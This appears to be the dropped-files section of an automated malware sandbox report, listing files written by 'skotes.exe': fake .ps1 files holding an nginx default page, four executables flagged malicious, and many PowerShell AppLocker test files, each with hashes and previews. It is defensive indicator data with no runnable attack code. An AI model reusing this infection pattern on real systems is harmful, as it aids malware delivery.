SHA-512:	43573B0CBAAC6E2E1646E6217D2D10C40AD10B9DB1F4492D6740545E793C891B5E39283A082896C0392B88EB319DFA9392421B1C89C094C9CE9F31B53D37EBAF
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html>.<head>.<title>Welcome to nginx!</title>.<style>. body {. width: 35em;. margin: 0 auto;. font-family: Tahoma, Verdana, Arial, sans-serif;. }.</style>.</head>.<body>.<h1>Welcome to nginx!</h1>.<p>If you see this page, the nginx web server is successfully installed and.working. Further configuration is required.</p>..<p>For online documentation and support please refer to.<a href="http://nginx.org/">nginx.org</a>.<br/>.Commercial support is available at.<a href="http://nginx.com/">nginx.com</a>.</p>..<p><em>Thank you for using nginx.</em></p>.</body>.</html>.

C:\Users\user\AppData\Local\Temp\1008570041\gok44.ps1

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	612
Entropy (8bit):	4.903167881740855
Encrypted:	false
SSDEEP:	12:hYNp/qwNFDvNbJw4xxaboR1XKCf0ktEjo+Y/lNQd40UlNRVxWU+oQL:hYNpnjbJwtsvXD05oP/l8tUlj7W7
MD5:	E3EB0A1DF437F3F97A64ACA5952C8EA0
SHA1:	7DD71AFCFB14E105E80B0C0D7FCE370A28A41F0A
SHA-256:	38FFD4972AE513A0C79A8BE4573403EDCD709F0F572105362B08FF50CF6DE521
SHA-512:	43573B0CBAAC6E2E1646E6217D2D10C40AD10B9DB1F4492D6740545E793C891B5E39283A082896C0392B88EB319DFA9392421B1C89C094C9CE9F31B53D37EBAF
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html>.<head>.<title>Welcome to nginx!</title>.<style>. body {. width: 35em;. margin: 0 auto;. font-family: Tahoma, Verdana, Arial, sans-serif;. }.</style>.</head>.<body>.<h1>Welcome to nginx!</h1>.<p>If you see this page, the nginx web server is successfully installed and.working. Further configuration is required.</p>..<p>For online documentation and support please refer to.<a href="http://nginx.org/">nginx.org</a>.<br/>.Commercial support is available at.<a href="http://nginx.com/">nginx.com</a>.</p>..<p><em>Thank you for using nginx.</em></p>.</body>.</html>.

C:\Users\user\AppData\Local\Temp\1008571041\aZhXvFT.ps1

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	612
Entropy (8bit):	4.903167881740855
Encrypted:	false
SSDEEP:	12:hYNp/qwNFDvNbJw4xxaboR1XKCf0ktEjo+Y/lNQd40UlNRVxWU+oQL:hYNpnjbJwtsvXD05oP/l8tUlj7W7
MD5:	E3EB0A1DF437F3F97A64ACA5952C8EA0
SHA1:	7DD71AFCFB14E105E80B0C0D7FCE370A28A41F0A
SHA-256:	38FFD4972AE513A0C79A8BE4573403EDCD709F0F572105362B08FF50CF6DE521
SHA-512:	43573B0CBAAC6E2E1646E6217D2D10C40AD10B9DB1F4492D6740545E793C891B5E39283A082896C0392B88EB319DFA9392421B1C89C094C9CE9F31B53D37EBAF
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html>.<head>.<title>Welcome to nginx!</title>.<style>. body {. width: 35em;. margin: 0 auto;. font-family: Tahoma, Verdana, Arial, sans-serif;. }.</style>.</head>.<body>.<h1>Welcome to nginx!</h1>.<p>If you see this page, the nginx web server is successfully installed and.working. Further configuration is required.</p>..<p>For online documentation and support please refer to.<a href="http://nginx.org/">nginx.org</a>.<br/>.Commercial support is available at.<a href="http://nginx.com/">nginx.com</a>.</p>..<p><em>Thank you for using nginx.</em></p>.</body>.</html>.

C:\Users\user\AppData\Local\Temp\1008572041\vtF7qZo.ps1

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	612
Entropy (8bit):	4.903167881740855
Encrypted:	false
SSDEEP:	12:hYNp/qwNFDvNbJw4xxaboR1XKCf0ktEjo+Y/lNQd40UlNRVxWU+oQL:hYNpnjbJwtsvXD05oP/l8tUlj7W7
MD5:	E3EB0A1DF437F3F97A64ACA5952C8EA0
SHA1:	7DD71AFCFB14E105E80B0C0D7FCE370A28A41F0A
SHA-256:	38FFD4972AE513A0C79A8BE4573403EDCD709F0F572105362B08FF50CF6DE521
SHA-512:	43573B0CBAAC6E2E1646E6217D2D10C40AD10B9DB1F4492D6740545E793C891B5E39283A082896C0392B88EB319DFA9392421B1C89C094C9CE9F31B53D37EBAF
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html>.<head>.<title>Welcome to nginx!</title>.<style>. body {. width: 35em;. margin: 0 auto;. font-family: Tahoma, Verdana, Arial, sans-serif;. }.</style>.</head>.<body>.<h1>Welcome to nginx!</h1>.<p>If you see this page, the nginx web server is successfully installed and.working. Further configuration is required.</p>..<p>For online documentation and support please refer to.<a href="http://nginx.org/">nginx.org</a>.<br/>.Commercial support is available at.<a href="http://nginx.com/">nginx.com</a>.</p>..<p><em>Thank you for using nginx.</em></p>.</body>.</html>.

C:\Users\user\AppData\Local\Temp\1008573041\6OMLg7r.ps1

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	612
Entropy (8bit):	4.903167881740855
Encrypted:	false
SSDEEP:	12:hYNp/qwNFDvNbJw4xxaboR1XKCf0ktEjo+Y/lNQd40UlNRVxWU+oQL:hYNpnjbJwtsvXD05oP/l8tUlj7W7
MD5:	E3EB0A1DF437F3F97A64ACA5952C8EA0
SHA1:	7DD71AFCFB14E105E80B0C0D7FCE370A28A41F0A
SHA-256:	38FFD4972AE513A0C79A8BE4573403EDCD709F0F572105362B08FF50CF6DE521
SHA-512:	43573B0CBAAC6E2E1646E6217D2D10C40AD10B9DB1F4492D6740545E793C891B5E39283A082896C0392B88EB319DFA9392421B1C89C094C9CE9F31B53D37EBAF
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html>.<head>.<title>Welcome to nginx!</title>.<style>. body {. width: 35em;. margin: 0 auto;. font-family: Tahoma, Verdana, Arial, sans-serif;. }.</style>.</head>.<body>.<h1>Welcome to nginx!</h1>.<p>If you see this page, the nginx web server is successfully installed and.working. Further configuration is required.</p>..<p>For online documentation and support please refer to.<a href="http://nginx.org/">nginx.org</a>.<br/>.Commercial support is available at.<a href="http://nginx.com/">nginx.com</a>.</p>..<p><em>Thank you for using nginx.</em></p>.</body>.</html>.

C:\Users\user\AppData\Local\Temp\1008574041\DcDqduU.ps1

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	612
Entropy (8bit):	4.903167881740855
Encrypted:	false
SSDEEP:	12:hYNp/qwNFDvNbJw4xxaboR1XKCf0ktEjo+Y/lNQd40UlNRVxWU+oQL:hYNpnjbJwtsvXD05oP/l8tUlj7W7
MD5:	E3EB0A1DF437F3F97A64ACA5952C8EA0
SHA1:	7DD71AFCFB14E105E80B0C0D7FCE370A28A41F0A
SHA-256:	38FFD4972AE513A0C79A8BE4573403EDCD709F0F572105362B08FF50CF6DE521
SHA-512:	43573B0CBAAC6E2E1646E6217D2D10C40AD10B9DB1F4492D6740545E793C891B5E39283A082896C0392B88EB319DFA9392421B1C89C094C9CE9F31B53D37EBAF
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html>.<head>.<title>Welcome to nginx!</title>.<style>. body {. width: 35em;. margin: 0 auto;. font-family: Tahoma, Verdana, Arial, sans-serif;. }.</style>.</head>.<body>.<h1>Welcome to nginx!</h1>.<p>If you see this page, the nginx web server is successfully installed and.working. Further configuration is required.</p>..<p>For online documentation and support please refer to.<a href="http://nginx.org/">nginx.org</a>.<br/>.Commercial support is available at.<a href="http://nginx.com/">nginx.com</a>.</p>..<p><em>Thank you for using nginx.</em></p>.</body>.</html>.

C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1891328
Entropy (8bit):	7.946962103342448
Encrypted:	false
SSDEEP:	24576:tIn1Rzsp2ltX3ZQLsHzQjwo718789PpzJSjyYy8If8NDCSWZYBVpTw2cRMj:t6+2X3BHkXHpzAu8W8ZCSWZQO2cGj
MD5:	89A84EB8A83E3072365849AF60F40DCC
SHA1:	0D22977F6A49A60619E8FCA8297EF92CAB0CE52C
SHA-256:	6E05EACB5BA89BF57CBE21EA64B9E8FB72148ECC6624C55E1F82AA2EFCEE03D6
SHA-512:	24C2151099B4BCD7B20C56D6E2267551B58B92714CCDAE10163F611987D06BCA9049C2154412943B42F7D758FE83179B357846FCDE382DD6C3E066828BCB4B42
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...Q<?g..............................J...........@...........................K...........@.................................\...p....p.............................................................................................................. . .`.......b..................@....rsrc........p.......r..............@....idata .............t..............@... ..*..........v..............@...bydimkjm.@....0..>...x..............@...rvusllyz......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1794560
Entropy (8bit):	7.945404963534243
Encrypted:	false
SSDEEP:	24576:hbieeUbLA2ft0FPIE7Mygu+OUo7d6eBuum18ioePTk8dFTPfg2hbDh0QFZB6K:BicbUkEXgX+7d6Dpp4AFTgeRB6
MD5:	F5634FE84A0D50DA553341DD8B70F55B
SHA1:	EE0CE0583EDD4B0093709FB1BE3ABA975E4F7780
SHA-256:	33EC7D97E387A484CA822A25143B5D01DDCE8AB813200719537702F0931F9E87
SHA-512:	2211675F740494A7F34971A475281608AECCDA6615EC5B709711BE3B5E079FA6F64608680FF9EE483C1B2E1A8270C3510C2940A5AF4A2563EF12C764EF72DC6C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................$........h...........@...........................h.....&.....@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... . *...$......v..............@...qflvhncs......N......x..............@...uedzvgbu......h......<..............@....taggant.0....h.."...@..............@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	921600
Entropy (8bit):	6.590292406961086
Encrypted:	false
SSDEEP:	12288:zqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgaUTg:zqDEvCTbMWu7rQYlBQcBiT6rprG8a0g
MD5:	163C161C40D81ABCF7762B5FE1E069F9
SHA1:	69ABFD5FFB416ABA8EC059FD0B10B90A15F1D6E2
SHA-256:	E18EABDDF7FFD031C8D469F61EF79A69C7ED5FC4C0B0B083F352306C19A53B1D
SHA-512:	D7AEED672A002D87BC8776E3CBC574E0F336B8152F199CDEEEBA845054239F57C3468758205ABCD29716E6C4F35A23CBEC8A57D93E372B1C9B258D80623E2669
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 26%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L....yBg.........."..........`......w.............@..........................p............@...@.......@.....................d...\|....@...........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc........@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2832384
Entropy (8bit):	6.461708622667957
Encrypted:	false
SSDEEP:	49152:ltCo8LSoRZulJhS6oBQUbzu2InEB/cPxf:lQLrfulJhS6CQUbzdInDf
MD5:	F2742A9288B543DFD082FE555FC135E7
SHA1:	3324370E94527FCF80EF571F9C1819D59B0B2F23
SHA-256:	DACE3504559FCA2BA342FA83836E916775514060F4772CDEB263B91906A23D46
SHA-512:	8BCD629E3D52F6F89B068169717D060BE2A2FAD5230D86E5B1844A3C55D8E0830BF331A92D7F6E1E88F2F8B876823F0D9DFCC77F98F6DB1ED86FD8DAA1C8AD23
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Reputation:	unknown
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ........................+.......+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...rqwfzwob...........:..............@...llcfprjm. ....+.......+.............@....taggant.@....+.."....+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008579041\x0xqqzB.ps1

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	612
Entropy (8bit):	4.903167881740855
Encrypted:	false
SSDEEP:	12:hYNp/qwNFDvNbJw4xxaboR1XKCf0ktEjo+Y/lNQd40UlNRVxWU+oQL:hYNpnjbJwtsvXD05oP/l8tUlj7W7
MD5:	E3EB0A1DF437F3F97A64ACA5952C8EA0
SHA1:	7DD71AFCFB14E105E80B0C0D7FCE370A28A41F0A
SHA-256:	38FFD4972AE513A0C79A8BE4573403EDCD709F0F572105362B08FF50CF6DE521
SHA-512:	43573B0CBAAC6E2E1646E6217D2D10C40AD10B9DB1F4492D6740545E793C891B5E39283A082896C0392B88EB319DFA9392421B1C89C094C9CE9F31B53D37EBAF
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html>.<head>.<title>Welcome to nginx!</title>.<style>. body {. width: 35em;. margin: 0 auto;. font-family: Tahoma, Verdana, Arial, sans-serif;. }.</style>.</head>.<body>.<h1>Welcome to nginx!</h1>.<p>If you see this page, the nginx web server is successfully installed and.working. Further configuration is required.</p>..<p>For online documentation and support please refer to.<a href="http://nginx.org/">nginx.org</a>.<br/>.Commercial support is available at.<a href="http://nginx.com/">nginx.com</a>.</p>..<p><em>Thank you for using nginx.</em></p>.</body>.</html>.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0pgzdfke.shp.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_21g2ffcp.kur.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2doisa0e.4vy.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_34rz4hl0.rha.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3uysigdy.t21.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dwiuj0bg.zc3.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ecjvnalv.eiw.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gsd123ti.ana.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gto5rbg1.x1e.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hy234lbu.jye.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i03pnrjk.3qd.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i50cy2he.1eb.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ivmobkje.x34.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_juafvtp5.gv5.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kc2c4wgl.yq0.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_myofdwmk.hr2.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_n1yaocl4.dft.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
